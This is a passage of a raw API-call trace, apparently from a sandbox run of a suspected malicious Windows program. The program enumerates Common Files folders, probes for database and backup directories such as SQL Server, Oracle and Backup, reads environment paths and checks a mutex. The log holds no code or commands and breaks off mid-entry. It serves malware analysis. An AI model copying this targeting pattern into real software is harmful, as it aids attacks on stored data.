[0047.169] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.169] GetLastError () returned 0x12 [0047.169] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.169] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.169] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO") returned 1 [0047.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⧚R⦮R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.170] GetLastError () returned 0x3 [0047.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18권Q\x181")) returned 0xffffffff [0047.170] GetLastError () returned 0x2 [0047.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.170] GetLastError () returned 0x2 [0047.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.170] GetLastError () returned 0x2 [0047.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18❌R\x18j")) returned 0xffffffff [0047.170] GetLastError () returned 0x2 [0047.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⤼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.171] GetLastError () returned 0x2 [0047.171] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.171] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.172] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.172] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.172] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.172] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.172] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.172] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.172] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.173] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.173] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.173] GetLastError () returned 0x12 [0047.173] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.173] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.173] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.173] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.173] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU") returned 1 [0047.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⣢R⢶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.179] GetLastError () returned 0x3 [0047.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18㿬Q\x181")) returned 0xffffffff [0047.179] GetLastError () returned 0x2 [0047.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18;")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18⎌R\x18j")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18y")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x81")) returned 0xffffffff [0047.180] GetLastError () returned 0x2 [0047.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.181] GetLastError () returned 0x2 [0047.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.181] GetLastError () returned 0x2 [0047.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, 